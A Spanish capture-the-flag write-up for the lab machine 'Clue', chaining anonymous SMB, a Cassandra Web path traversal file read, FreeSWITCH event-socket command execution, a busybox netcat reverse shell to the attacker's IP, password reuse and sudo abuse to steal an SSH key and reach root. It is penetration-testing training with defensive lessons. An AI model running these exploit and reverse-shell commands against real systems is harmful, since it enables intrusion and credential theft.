the_open_door
café
ESEN

Clue

Proving Grounds PracticeDifícilLinux192.168.142.240

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#cassandra-web#freeswitch#rfi#lfi#path-traversal#smb#null-session#credential-disclosure#password-reuse#sudo#ssh-keys#oscp
TL;DR. Clue filtra por SMB (sesión nula) una copia de la configuración de FreeSWITCH y Cassandra. En el 3000 corre Cassandra Web 0.5.0, vulnerable a lectura arbitraria de ficheros por path traversal (RFI/LFI); con ese RFI leemos el event_socket.conf.xml y obtenemos la contraseña real de FreeSWITCH (StrongClueConEight021), cuyo mod_event_socket permite ejecución de comandos (credenciales en config) y nos da shell como freeswitch. El mismo RFI sobre /proc/self/cmdline revela las credenciales de cassie (SecondBiteTheApple330), reutilizables por su (reutilización). Para escalar, cassie puede ejecutar cassandra-web como root por sudo: lo relanzamos como root y abusamos de su path traversal para leer la clave SSH privada de anthony (autorizada en el authorized_keys de root), con la que entramos como root.

Reconocimiento

Escaneo inicial

El TTL de la respuesta es 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

ping -c 1 192.168.142.240
64 bytes from 192.168.142.240: icmp_seq=1 ttl=61 time=29.5 ms

Barremos todos los puertos TCP y, sobre los abiertos, identificamos versiones:

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.142.240
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
139/tcp  open  netbios-ssn
445/tcp  open  netbios-ssn
3000/tcp open  http
8021/tcp open  freeswitch-event
nmap -p22,80,139,445,3000,8021 -sCV 192.168.142.240 -oN targetedScan
PORT     STATE SERVICE          VERSION
22/tcp   open  ssh              OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp   open  http             Apache httpd 2.4.38  (403 Forbidden)
139/tcp  open  netbios-ssn      Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn      Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
3000/tcp open  http             Thin httpd  (Cassandra Web)
8021/tcp open  freeswitch-event FreeSWITCH mod_event_socket

Cuatro frentes: un SMB anónimo, una Cassandra Web en el 3000, FreeSWITCH (centralita VoIP) en el 8021 con su event socket, y un Apache que devuelve 403. La combinación SMB + Cassandra + FreeSWITCH marca el guion de la máquina.

SMB - TCP 445

Con sesión nula se enumeran los recursos compartidos: el backup es legible.

netexec smb 192.168.142.240 -u '' -p '' --shares
smbclient //192.168.142.240/backup
Share           Permissions     Remark
-----           -----------     ------
print$                          Printer Drivers
backup          READ            Backup web directory shares
IPC$                            IPC Service (Samba 4.9.5-Debian)

Dentro hay dos carpetas, freeswitch y cassandra, con binarios y ficheros de configuración. Nos las descargamos enteras para revisarlas luego:

smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *

Son una copia de la configuración de ambos servicios; serán la pista para las contraseñas.

Cassandra Web - TCP 3000

El 3000 sirve Cassandra Web, un panel para la base de datos Cassandra (aquí 3.11.13):

Panel Cassandra Web en el puerto 3000 mostrando Cluster Status, hosts y keyspaces de Cassandra 3.11.13

Cassandra Web
Cluster Status
  Hosts
  Datacenter: datacenter1
  ip          id                                      rack    version   status
  127.0.0.1   39c6f1e3-d798-44ce-b216-ce0f664fc0af    rack1   3.11.13   up

  Keyspaces
  system_auth        CREATE KEYSPACE system_auth WITH replication = {'class': 'SimpleStrategy', 'replication_factor': '1'} AND durable_writes = true;
  system_schema      CREATE KEYSPACE system_schema WITH replication = {'class': 'LocalStrategy'} AND durable_writes = true;
  system_distributed CREATE KEYSPACE system_distributed WITH replication = {'class': 'SimpleStrategy', 'replication_factor': '3'} AND durable_writes = true;
  system             CREATE KEYSPACE system WITH replication = {'class': 'LocalStrategy'} AND durable_writes = true;
  system_traces      CREATE KEYSPACE system_traces WITH replication = {'class': 'SimpleStrategy', 'replication_factor': '2'} AND durable_writes = true;

El panel no pide credenciales y ya suelta lo que interesa: la versión 3.11.13 del nodo y los cinco keyspaces del sistema. La versión es el dato que abre el siguiente paso.

searchsploit da con una lectura de ficheros para esta versión:

searchsploit 'cassandra'
searchsploit -m linux/webapps/49362.py
Cassandra Web 0.5.0 - Remote File Read  |  linux/webapps/49362.py

Lectura de ficheros (RFI)

Cassandra Web 0.5.0: lectura arbitraria por path traversal

El exploit 49362.py abusa de que Cassandra Web construye la ruta del recurso anteponiendo ../ repetidos (en el código, DT='../' y DT_NUM=8) sin sanear, lo que permite leer cualquier fichero del sistema (path traversal). El DT_NUM=8 no es mágico: el exploit antepone la secuencia ../ ocho veces, que es de sobra para remontar desde el directorio de trabajo de la aplicación hasta la raíz /. Pasarse de niveles no rompe nada, porque en un sistema de ficheros /.. sigue siendo /: ocho es simplemente un número lo bastante alto para garantizar que se llega a la raíz sin conocer la profundidad exacta desde la que corre el servicio.

Código de cassandra-web 0.5.0 en nano: DT='../', DT_NUM=8 y el payload urllib.parse.quote_plus(DT*number+file)

En el propio código (/var/lib/gems/2.7.0/gems/cassandra-web-0.5.0/app/public) se ve el origen del fallo: DT = '../', DT_NUM = 8 y el payload = urllib.parse.quote_plus(DT * self.number + self.file), que concatena la ruta pedida sin sanear.

python3 rfi.py -p 3000 192.168.142.240 /etc/passwd | grep bash

Lectura de /etc/passwd a traves del RFI de Cassandra Web, mostrando las cuentas con shell

root:x:0:0:root:/root:/bin/bash
cassie:x:1000:1000::/home/cassie:/bin/bash
anthony:x:1001:1001::/home/anthony:/bin/bash

Tres cuentas con shell: root, cassie y anthony.

Tenemos lectura arbitraria, pero aún no sabemos qué fichero concreto nos dará el siguiente paso. Probamos con /proc/self/cmdline para ver cómo se está ejecutando el propio servicio:

python3 rfi.py -p 3000 192.168.142.240 /proc/self/cmdline

Lectura de /proc/self/cmdline por el RFI, revelando la linea de comando del proceso de Cassandra Web

/usr/bin/ruby2.5/usr/local/bin/cassandra-web-ucassie-pSecondBiteTheApple330

La línea de comando (con los bytes nulos como separadores) ya deja a la vista el usuario cassie y su contraseña SecondBiteTheApple330; volveremos a ellas tras el pivote por FreeSWITCH.

Antes de exprimir el RFI, miramos el otro servicio expuesto: FreeSWITCH.

Shell como freeswitch

FreeSWITCH: contraseña real vía RFI y RCE

El mod_event_socket de FreeSWITCH permite ejecutar comandos si se conoce la contraseña del socket. El exploit público trae la contraseña por defecto, ClueCon, pero falla:

searchsploit -m windows/remote/47799.txt   # -> rce.py
python3 rce.py 192.168.142.240 'whoami'
Authentication failed

La contraseña ha cambiado. Como tenemos los ficheros de FreeSWITCH del SMB (y, mejor aún, lectura arbitraria por RFI), buscamos dónde se define. La copia de SMB resulta estar desactualizada, así que leemos por RFI el fichero vivo del servidor, event_socket.conf.xml, donde está la contraseña real:

python3 rfi.py -p 3000 192.168.142.240 /etc/freeswitch/autoload_configs/event_socket.conf.xml
<param name="password" value="StrongClueConEight021"/>

Esa es la contraseña del event socket (credenciales en configuración). La ponemos en el exploit y confirmamos ejecución:

# en rce.py:  PASSWORD='StrongClueConEight021'
python3 rce.py 192.168.142.240 'whoami'
python3 rce.py 192.168.142.240 'id'

rce.py contra FreeSWITCH devolviendo Authenticated y la salida de whoami (freeswitch) e id (uid=998)

freeswitch
uid=998(freeswitch) gid=998(freeswitch) groups=998(freeswitch)

Antes de disparar la shell, dejamos un nc a la escucha:

nc -nlvp 80

Ejecutamos como freeswitch. Lanzamos una reverse shell con la netcat de busybox:

python3 rce.py 192.168.142.240 'busybox nc 192.168.45.227 80 -e /bin/bash'

Reverse shell recibida como freeswitch@clue tras el RCE de FreeSWITCH

freeswitch@clue:/$ whoami && ip a
freeswitch
...
3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 ...
    inet 192.168.142.240/24 brd 192.168.142.255 scope global ens192
freeswitch@clue:/$

La shell entra como freeswitch en el host clue (192.168.142.240).

Leemos la primera prueba:

cat /var/lib/freeswitch/local.txt && whoami && ip a && hostname

local.txt leido como freeswitch en clue, con la IP 192.168.142.240 y hostname clue

de1dd063238f052a23ddf2610de15bc5

Shell como cassie

Reutilización de credenciales (proc/cmdline)

Volvemos al RFI de Cassandra Web sobre /proc/self/cmdline: la línea de comando del proceso revela que cassandra-web se arrancó con usuario y contraseña en claro:

python3 rfi.py -p 3000 192.168.142.240 /proc/self/cmdline

RFI sobre /proc/self/cmdline mostrando cassandra-web -u cassie -p SecondBiteTheApple330

/usr/bin/ruby2.5 /usr/local/bin/cassandra-web -u cassie -p SecondBiteTheApple330

La contraseña de cassie (reutilización) sirve para cambiar de usuario desde la shell de freeswitch:

su cassie    # SecondBiteTheApple330

su cassie con la contrasena filtrada; whoami devuelve cassie

freeswitch@clue:/home/cassie$ su cassie
Password:
cassie@clue:~$ whoami
cassie

Ya somos cassie.

Escalada de privilegios

sudo cassandra-web: path traversal a la clave SSH de root

Revisamos el sudo de cassie:

sudo -l
User cassie may run the following commands on clue:
    (ALL) NOPASSWD: /usr/local/bin/cassandra-web

Puede ejecutar cassandra-web como root (abuso de sudo). La idea: relanzar el propio panel como root en otro puerto y reutilizar su path traversal, que ahora leerá ficheros con privilegios de root. Lo arrancamos en el 1337 con las credenciales de cassie:

sudo -u root /usr/local/bin/cassandra-web -B 0.0.0.0:1337 -u cassie -p SecondBiteTheApple330 &
curl localhost:1337 | grep cassandra

Con esa instancia (que corre como root) abusamos del path traversal para leer ficheros restringidos. Ahora podríamos leer cualquier fichero del disco, así que conviene elegir con criterio en vez de ir a ciegas: el objetivo es una vía de acceso directa a root, y el fichero que más rápido la da es el authorized_keys de root, porque nos dice qué clave pública ya tiene permiso para entrar como root sin adivinar nada. Empezamos por ahí:

curl localhost:1337/../../../../../../../../../root/.ssh/authorized_keys --path-as-is

Lectura del /root/.ssh/authorized_keys via el path traversal de cassandra-web, con la clave terminada en anthony@clue

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDn2IL7JIn0X/FanxBWS8G9racIWKRnRVPuGSG0DG6NFGoq0Esol53X0<SNIP>Ap9uw12pR7jjkWS8+avLLHsh/8NoyhJhI+H anthony@clue

La clave autorizada pertenece a anthony@clue. Si leemos la clave privada de anthony, podremos autenticarnos como root (porque su pública está en el authorized_keys de root). Leemos /home/anthony/.ssh/id_rsa:

Lectura de /home/anthony/.ssh/id_rsa via el path traversal, mostrando la clave privada RSA completa

Guardamos la clave y entramos por SSH como root:

curl localhost:1337/../../../../../../../../../home/anthony/.ssh/id_rsa --path-as-is > id_rsa
chmod 600 id_rsa
ssh -i id_rsa root@localhost

ssh -i id_rsa root@localhost desde clue: sesion como root@clue (Debian 4.19) y whoami root

% Total    % Received % Xferd
100  1823  100  1823    0     0   445k      0
cassie@clue:~$ ssh -i id_rsa root@localhost
Linux clue 4.19.0-21-amd64 #1 SMP Debian 4.19.249-2 (2022-06-30) x86_64
...
Last login: Tue Jan  6 12:47:04 2026 from 192.168.45.227
root@clue:~# whoami
root

La clave privada de anthony autentica como root (su pública estaba en el authorized_keys de root).

Leemos la prueba final:

cat /root/proof_youtriedharder.txt && whoami && ip a && hostname

proof_youtriedharder.txt leido como root en clue, con whoami root y hostname clue

9f5f2facf3d5339e31f057c79200eefd

Cadena de ataque

SMB null session (445)  ->  copia de config de FreeSWITCH/Cassandra
Cassandra Web 0.5.0 (3000)  --  path traversal (RFI, 49362.py)
        │  leer event_socket.conf.xml  ->  FreeSWITCH pass StrongClueConEight021
        ▼
FreeSWITCH mod_event_socket (8021)  --  RCE (rce.py)
        │  busybox nc -> reverse shell
        ▼
shell como freeswitch  (local.txt)
        │  RFI /proc/self/cmdline  ->  cassie:SecondBiteTheApple330  ->  su
        ▼
shell como cassie
        │  sudo -u root cassandra-web -B 0.0.0.0:1337  (path traversal como root)
        │  leer /root/.ssh/authorized_keys (anthony@clue)  ->  /home/anthony/.ssh/id_rsa
        │  ssh -i id_rsa root@localhost
        ▼
shell como root  (proof_youtriedharder.txt)

Lecciones aprendidas

  • Las copias de seguridad expuestas son inteligencia. El SMB anónimo entregaba la configuración de FreeSWITCH y Cassandra. Aunque la copia estaba desfasada (la contraseña real había cambiado), reveló la estructura y los ficheros donde buscar luego con el RFI.
  • Un path traversal de lectura encadena toda la caja. El mismo fallo de Cassandra Web sirvió tres veces: leer la contraseña de FreeSWITCH, leer /proc/self/cmdline (credenciales de cassie) y, ya como root, leer la clave SSH de anthony. Leer ficheros arbitrarios casi nunca es "solo lectura".
  • Las credenciales en la línea de comando son visibles para todos. Arrancar cassandra-web con -p SecondBiteTheApple330 deja la contraseña en /proc/<pid>/cmdline. Conviene pasar secretos por fichero o variable de entorno protegida, nunca por argumento.
  • Un binario por sudo con capacidad de leer ficheros como root es un comodín. Relanzar el panel como root convirtió un path traversal sin privilegios en lectura total del disco, suficiente para robar una clave SSH y saltar a root.
Cheatsheet de comandos 13 comandos

Repaso rápido